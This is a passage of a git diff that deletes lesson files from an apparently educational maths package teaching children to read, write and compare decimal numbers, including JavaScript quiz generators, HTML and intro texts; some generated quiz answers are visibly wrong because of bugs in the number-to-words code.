-           .html('<p>'+txt+"</p><p>Let's check it out.</p>");
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function start_game(karma) {
-  $('#content')
-      .empty()
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p><p>Press apply to practice what you have learned</p>');
-      return;
-  };
-  decimalNumber = cases[caseno];
-  caseno +=1;
-  digits = (decimalNumber+"").split("").reverse();
-  words = getWords(digits);
-  whole = parseInt(decimalNumber)+"";
-  wholeDigits = whole.split("");
-  decimalp = (decimalNumber-whole).toFixed(3);
-  decimalstr = decimalp+"";
-  decimal = decimalstr.substring(2);
-  dcmlDigits = decimal.split("");
-  do{
-      n = dcmlDigits.pop();
-    } while (n=='0');
-  dcmlDigits.push(n);
-  decimal = dcmlDigits.join("");
-  if (Math.random()<1){
-      typeFlag = false;
-      question = 'What is '+decimalNumber+' in words?';
-      ask = decimalNumber;
-      solution = words;
-  }else{
-      typeFlag = true;
-      question = 'Write '+words+' as a decimal number.';
-      ask = words;
-      solution = decimalNumber;
-  }; 
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer(karma);
-};
-
-var currentScreen;
-
-function generateScreen1(karma) {
-currentScreen = 1
-   $('<div id = "txtMain"/>')
-       .load('http://localhost:8008/cgi-bin/getFile.py',
-       {'filename':'content/Mathematics/map412m01/map412m01a01/a1.txt'})
-       .appendTo('#content')
-};
-
-function generateScreen2(karma) {
-currentScreen = 2
-   $('<div id = "txtMain"/>')
-       .load('http://localhost:8008/cgi-bin/getFile.py',
-       {'filename':'content/Mathematics/map412m01/map412m01a01/a2.txt'})
-       .appendTo('#content')
-};
-
-function initialize() {};
-
-setUpMultiScreenLesson([
-    generateScreen1,
-    generateScreen2,
-]);
diff --git a/Save_Mathematics/P4/map412m01/map412m01a01/source.txt b/Save_Mathematics/P4/map412m01/map412m01a01/source.txt
deleted file mode 100755
index f4da776..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a01/source.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<h1>
- Introduction to Decimals
-</h1>
-<!--NG-->
-<p>
- You remember that a fraction is a part of a whole object. For example, when we  have divided a pizza into six pieces, one piece is 1/6 of a pizza. Suppose we  bought two pizzas and cut each into six pieces. After we ate 5 pieces, we would  have 7 pieces left. This would be equivalent to one pizza and one piece or 1  1/6.
-</p>
-<p>
- Decimal fractions or decimals are a special form of fraction in which the  denominator is a multiple of ten (we have divided something into 10 or 100 or  1000 parts).
-</p>
-<p>
- We can have a combination of a whole number and a decimal fraction such as  12.3. The means 12 of something plus 3/10 more of that something. A number such as  12.3 is called a decimal number
-</p>
-<p>
- <hr />
- Our first task is to learn to read and write decimal numbers. You will find it  is similar to reading and writing whole numbers, but with some special  tricks and traps!
-</p>
-<p>
- First when pronouncing a decimal number, always say 'and' for the decimal  point.
-</p>
-<p>
- Second, the last digit of a decimal number is (almost) never zero (0). For  example, we don't have 1.10 but 1.1. We don't have 1.140, but 1.14.
-</p>
-<p>
- Third, when pronouncing the decimal part of a decimal number, we count the  value of the last digit (non-zero) digit. For example, 1.1 is one and one tenth. We say, 'one and fourteen hundredths' for 1.14 and 'one and two thousandths' for  1.002. The largest number we will encounter in this activity is 999.999. We say,  'nine hundred ninety-nine and nine hundred ninety-nine thousandths'.
-</p>
-<p>
- The  numbers 0.1 and .1 are the same number, 'one tenth', but we could also say, 'zero  and one tenth'.
-</p>
-<p>
- If you are ready, press Start to see some examples.
-</p>
-<p>
- &nbsp;
-</p>
diff --git a/Save_Mathematics/P4/map412m01/map412m01a02/a.txt b/Save_Mathematics/P4/map412m01/map412m01a02/a.txt
deleted file mode 100755
index 9286996..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a02/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Reading and Writing Decimals</h1>
-<!--NG-->
-<p>
-In this activity, you will be able to try your skill at writing decimal numbers in 
-English words and in writing the decimal number expressed in words. </p>
-<p>Press start to begin.</p>
diff --git a/Save_Mathematics/P4/map412m01/map412m01a02/css/divs.css b/Save_Mathematics/P4/map412m01/map412m01a02/css/divs.css
deleted file mode 100755
index 72c5d66..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/19 11:52:08.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m01/map412m01a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m01/map412m01a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson-karma.js
deleted file mode 100755
index 7a430fe..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/19 11:52:08.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m01/map412m01a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m01/map412m01a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson.js b/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson.js
deleted file mode 100755
index 2ed6b28..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a02/js/lesson.js
+++ /dev/null
@@ -1,188 +0,0 @@
-//present question - decimal number to words, words to decimal number
-//if wrong, display place table: thousands, units, thousandths
-
-function phase1(){
-  if(typeFlag){ //words -> number
-    //show hundreds digit, if any
-    drawComment(1,10*columnWidth+2,'Hundreds');
-    if (wholeDigits.length>2){
-        drawDigits(1,50+4*columnWidth,wholeDigits[0]);
-        txtComment=words + ' is '+wholeDigits[0];
-    }else{
-        txtComment=words + ' is ';
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //fill place value table from number
-    drawComment(1,10*columnWidth+2,'Expand');
-    txtComment = whole+'.'+decimal+' is ';
-    drawComment(0,0,txtComment);
-    drawDigits(1,50+6*columnWidth,wholeDigits.reverse());
-    pos = dcmlDigits.length;
-    drawDigits(1,50+(6+pos)*columnWidth,dcmlDigits.reverse());
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  drawComment(2,10*columnWidth+2,'Units');
-  if(typeFlag){ //words -> number
-    //show tens and units
-    pos = wholeDigits.length;
-    if(pos>1){
-        drawDigits(1,50+5*columnWidth,wholeDigits[pos-2]);
-        drawDigits(1,50+6*columnWidth,wholeDigits[pos-1]);
-        txtComment = txtComment+wholeDigits[pos-2]+wholeDigits[pos-1];
-    }else if(pos==1){
-        drawDigits(1,50+6*columnWidth,wholeDigits[0]);
-        txtComment = txtComment+wholeDigits[0];
-    };
-    drawComment(0,0,txtComment);
-  }else{
-    //show words for the whole part
-    txt = getWholeWords(words);
-    if(txt.length>0){
-        txtComment = txtComment + getWholeWords(words) + ' and ';
-        drawComment(0,0,txtComment);
-    };
-  };
-  doPhase(2);
-};
-
-function phase3(){
-  drawComment(3,10*columnWidth+2,'Tenths');
-  if(typeFlag){
-      // put digit in tenths column
-      pos = dcmlDigits.length;
-      if(pos>0){
-          drawDigits(1,50+7*columnWidth,dcmlDigits[0]);
-          txtComment = txtComment + '.'+dcmlDigits[0];
-          drawComment(0,0,txtComment);
-      };
-  }else{
-      //numbers --> words
-      pos = dcmlDigits.length;
-      if(pos>0){
-          dgt = parseInt(dcmlDigits[pos-1]);
-      };
-      if(pos>2){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' hundred ';
-          };
-      }else if (pos==1){
-          if(dgt>0){
-              txtComment = txtComment + word(dcmlDigits[pos-1]) + ' tenths ';
-          };
-      };
-      drawComment(0,0,txtComment);
-  };
-  doPhase(3);
-};
-
-function phase4(){
-  drawComment(4,10*columnWidth+2,'1000ths');
-  if(typeFlag){
-      pos = dcmlDigits.length;
-      if(pos>2){
-          //show hundreds and thousandths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          drawDigits(1,50+9*columnWidth,dcmlDigits[2]);
-          txtComment = txtComment + dcmlDigits[1]+dcmlDigits[2];
-      }else if (pos>1){    
-          //show hundredths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          txtComment = txtComment + dcmlDigits[1];
-      };
-      drawComment(0,0,txtComment);
-  }else{//number --> words
-      pos = dcmlDigits.length;
-      if(pos>1){
-          indx = digits[1]*10+parseInt(digits[0]);
-          txtComment = txtComment + word(indx);
-      };
-      if(pos>2){
-          txtComment = txtComment + ' thousandths';
-      }else if (pos>1){
-          txtComment = txtComment + ' hundredths';
-      };
-      drawComment(0,0,txtComment);  
-  };
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val()
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+ask+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase();
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  decimalNumber = getRandom(0,999999999)/1000;
-  digits = (decimalNumber+"").split("").reverse();
-  words = getWords(digits);
-  whole = parseInt(decimalNumber)+"";
-  wholeDigits = whole.split("");
-  decimalp = (decimalNumber-whole).toFixed(3);
-  decimalstr = decimalp+"";
-  decimal = decimalstr.substring(2);
-  dcmlDigits = decimal.split("");
-  do{
-      n = dcmlDigits.pop();
-    } while (n=='0');
-  dcmlDigits.push(n);
-  decimal = dcmlDigits.join("");
-  if (Math.random()<1){
-      typeFlag = false;
-      question = 'What is '+decimalNumber+' in words?';
-      ask = decimalNumber;
-      solution = words;
-  }else{
-      typeFlag = true;
-      question = 'Write '+words+' as a decimal number.';
-      ask = words;
-      solution = decimalNumber;
-  }; 
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m01/map412m01a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m01/map412m01a02/source.txt b/Save_Mathematics/P4/map412m01/map412m01a02/source.txt
deleted file mode 100755
index 9286996..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a02/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Reading and Writing Decimals</h1>
-<!--NG-->
-<p>
-In this activity, you will be able to try your skill at writing decimal numbers in 
-English words and in writing the decimal number expressed in words. </p>
-<p>Press start to begin.</p>
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/a.txt b/Save_Mathematics/P4/map412m01/map412m01a03/a.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/css/divs.css b/Save_Mathematics/P4/map412m01/map412m01a03/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/css/lesson.css b/Save_Mathematics/P4/map412m01/map412m01a03/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson.js b/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson.js
deleted file mode 100755
index 53fac19..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/js/lesson.js
+++ /dev/null
@@ -1,97 +0,0 @@
-function generate_operand(min,max) {
-  return Math.floor(Math.random() * (max-min) + min);
-};
-
-function expandNumber(number){
-  position = 0;
-  rest = number;
-  digits = [];
-  while (rest > 0) {
-      digit = rest%10;
-      digits[position] = digit;
-      position += 1;
-      rest = (rest - digit) / 10;
-  };
-  return digits;
-};
-
-function word(n){
-    digit=['zero','one','two','three','four','five','six','seven','eight','nine'];
-    teen=['ten','eleven','twelve','thirteen','fourteen','fifteen','sixteen','seventeen','eighteen','nineteen'];
-    tens=['','','twenty','thirty','forty','fifty','sixty','seventy','eighty','ninety']
-    if (n<10){ 
-        return digit[n]
-    } else if (n<19) {
-        return teen[n-10]
-    } else {
-        x = Math.floor(n/10);
-        y = n%10;
-        if (y>1){
-            return tens[x] + '-' + digit[y];
-        } else {
-            return tens[x];
-        };
-    };
-};
-
-function getWords(whole, decimal){
-    h = Math.floor(whole/100);
-    hundreds = word(h);
-    units = word(whole%100);
-    decimal_units = Math.floor(decimal%100);
-    decimal_tenths = Math.floor(decimal/100);
-    tenths = word(decimal_tenths);
-    decimal_rest = Math.floor(decimal%100);
-    thousandths = word(decimal_rest);
-    words = '';
-    if (h > 0){
-        words = hundreds + ' hundred ';
-    } else {
-        words = '';
-    };
-    words = words + units + ' and ';
-    if (decimal_units > 0) {
-        words = words + tenths + ' hundred ' + thousandths + ' thousandths';
-    } else {
-        words = words + thousandths + ' hundredths';
-    };
-    return words;
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (i=0;i<questions;i++){
-        n = generate_operand(0,999999);
-        whole = Math.floor(n/1000);
-        decimal = n%1000;
-        words = getWords(whole, decimal);
-        ntxt = whole + '.' + decimal;
-        if (Math.random()<0.5){
-            quiztxt = quiztxt + "{ques:'" + words + "', ans:'" + ntxt + "'},\n"
-        } else {
-            quiztxt = quiztxt + "{ques:'" + ntxt + "', ans:'" + words + "'},\n"
-        };  
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location + "";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m01/map412m01a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/js/quiz.js b/Save_Mathematics/P4/map412m01/map412m01a03/js/quiz.js
deleted file mode 100755
index c719e75..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'754.975', ans:'seven hundred fifty-four and nine hundred seventy-five thousandths'},
-{ques:'one hundred fifty and eight hundred eighty-nine thousandths', ans:'150.889'},
-{ques:'forty-three and zero hundred twenty-four thousandths', ans:'43.24'},
-{ques:'six hundred forty-six and three hundred ninety-nine thousandths', ans:'646.399'},
-{ques:'141.933', ans:'one hundred forty and nine hundred thirty-three thousandths'},
-{ques:'six hundred ten and four hundred eighty-three thousandths', ans:'610.483'},
-{ques:'four hundred zero and two hundred forty thousandths', ans:'400.241'},
-{ques:'seven hundred twenty-nine and two hundred fifty thousandths', ans:'729.250'},
-{ques:'101.542', ans:'one hundred one and five hundred forty-two thousandths'},
-{ques:'197.580', ans:'one hundred ninety-seven and five hundred eighty thousandths'},
-{ques:'471.963', ans:'four hundred seventy and nine hundred sixty-three thousandths'},
-{ques:'641.336', ans:'six hundred forty and three hundred thirty-six thousandths'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source.txt b/Save_Mathematics/P4/map412m01/map412m01a03/source.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source/a.txt b/Save_Mathematics/P4/map412m01/map412m01a03/source/a.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source/css/divs.css b/Save_Mathematics/P4/map412m01/map412m01a03/source/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source/index.html b/Save_Mathematics/P4/map412m01/map412m01a03/source/index.html
deleted file mode 100755
index af9e6f3..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-<title>
-map412m02a01
-</title>
-<meta content="text/html, charset=utf-8" http-equiv="Content-Type"/>
-<link href="../../../assets/image/favicon.ico" type="image/ico" rel="icon"/>
-<link href="../../../css/global.css" type="text/css" rel="stylesheet"/>
-<link href="../../../css/jquizme.css" type="text/css" rel="stylesheet"/>
-<link href="css/lesson.css" type="text/css" rel="stylesheet"/>
-<script src="../../../js/jquery-1.4.js" type="text/javascript"></script>
-<script src="../../../js/jquery-ui.all.js" type="text/javascript"></script>
-<script src="../../../js/karma.js" type="text/javascript"></script>
-<script src="../../../js/global.js" type="text/javascript"></script>
-<script src="../../../js/navigation.js" type="text/javascript"></script>
-<script src="../../../js/jquizme.js" type="text/javascript"></script>
-<script src="../../../js/common.js" type="text/javascript"></script>
-<script src="js/lesson-karma.js" type="text/javascript"></script>
-<script src="js/quiz.js" type="text/javascript"></script>
-<script src="js/lesson.js" type="text/javascript"></script>
-
-</head>
-<body>
-<div id="header">
-<div id='topbtn_left'>
-<div title='home' id='linkBackTwo' class='linkHome'></div>
-</div>
-<div id='topbtn_left'>
-<div title='Subject' id='linkBackOne' class='linkMathematics'></div>
-</div>
-<div id='topbtn_left'>
-<div title='Back' id='linkBack' class='linkBack'></div>
-</div>
-<div id="lesson_title">
-<img src="../../../assets/image/title_block_lt.png" align="absmiddle" width="33" height="75"></img>
-map412m02a01
-<img src="../../../assets/image/title_block_rt.png" align="absmiddle" width="33" height="75"></img>
-</div>
-<div id="topbtn_right">
-<div title="Quit" id="linkQuit" class="linkQuit"></div>
-</div>
-<div id="topbtn_right">
-<div title="Apply" id="linkApply" class="linkApply"></div>
-</div>
-<div id="topbtn_right">
-<div title="Help" id="linkHelp" class="linkHelp"></div>
-</div>
-<div id="topbtn_right">
-<div title="Edit" id="linkEdit" class="linkEdit"></div>
-</div>
-</div>
-<div id="help"></div>
-<div id="content">
-<div id="quizArea"></div>
-</div>
-<div id="footer">
-<div id="botbtn_left">
-<div class="linkBack" id="linkPrevScreen" title="Previous"></div>
-</div>
-<div id="botbtn_right">
-<div class="linkNext" id="linkNextScreen" title="Next"></div>
-</div>
-<div id="botbtn_right">
-<div id="linkPlayAgain" title="Play Again"></div>
-</div>
-<div id="botbtn_right">
-<div id="linkStart" title="Start"></div>
-</div>
-</div>
-</body>
-</html>
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson-karma.js b/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson.js b/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson.js
deleted file mode 100755
index 4d270d6..0000000
--- a/Save_Mathematics/P4/map412m01/map412m01a03/source/js/lesson.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function initialize(karma){
-   $('<div id = "txtMain"/>')
-       .load('http://localhost:8008/cgi-bin/getFile.py',
-       {'filename':'content/Mathematics11/map412m02/map412m02a01/a.txt'})
-       .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m02/activities.js b/Save_Mathematics/P4/map412m02/activities.js
deleted file mode 100755
index e1a1ede..0000000
--- a/Save_Mathematics/P4/map412m02/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m02a01','blue'],
-['2','2','map4','basic','map412m02a02','blue'],
-['3','3','map4','basic','map412m02a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/a.txt b/Save_Mathematics/P4/map412m02/map412m02a01/a.txt
deleted file mode 100755
index 2025f33..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/a.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<h3>
- Comparing and Ordering Decimal Numbers
-</h3>
-<p>
- In this activity, you will see how we can show that one decimal number is greater than ('&gt;') another or less than ('&lt;') or equal to another. We will also arrange a sequence of decimal numbers in ascending or descending sequence.
-</p>
-<p>
- Press start to begin.
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/css/divs.css b/Save_Mathematics/P4/map412m02/map412m02a01/css/divs.css
deleted file mode 100755
index 24e481c..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:55.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/description.py b/Save_Mathematics/P4/map412m02/map412m02a01/description.py
deleted file mode 100644
index 3a95667..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m02a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson.js b/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson.js
deleted file mode 100755
index db68e88..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/js/lesson.js
+++ /dev/null
@@ -1,235 +0,0 @@
-//present question - compare two decimal numbers or give the ascending or 
-//descending sequence of a set of unordered decimal numbers
-//If wrong, for comparison, show the two operands with a ? in comment
-//Expand the two operands
-//Highlight the most significant digit which is not equal
-//Show the correct symbol to the left of the second operand (and replace ? 
-//with the correct symbol in the comment.
-//For ordering, expand operands in place value table with ordinal number to left 
-//of table. Bubble sort keeping ordinal number with operand.
-//As comment, show question, then show answer.
-
-var ops, cases, caseno;
-ops = [];
-cases = [[0.01,0.001],
-         [123.045,123.405],
-        ];
-caseno = 0;
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2_decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = expandNumber(operandw);
-    operand_decimal = expandNumber(operandd);
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-  if(typeFlag == false){ //ordering sequence of decimal numbers
-    //expand operands - number them to the left
-    for(ix=0;ix<ops.length;ix++){
-        operand = placeValue(ops[ix]);
-        drawDigits(1+ix,50+6*columnWidth,operand[0]);
-        pos = operand[1].length;
-        drawDigits(1+ix,50+(6+pos)*columnWidth,operand[1]);
-        drawHighlight(1+ix,50,ix+1+"",'black');
-    };
-    drawComment(1,10*columnWidth+10,'Expand');
-  }else{ //compare two decimal numbers
-    //expand operands
-    operand = placeValue(op1);
-    drawDigits(1,50+6*columnWidth,operand_whole);
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal);
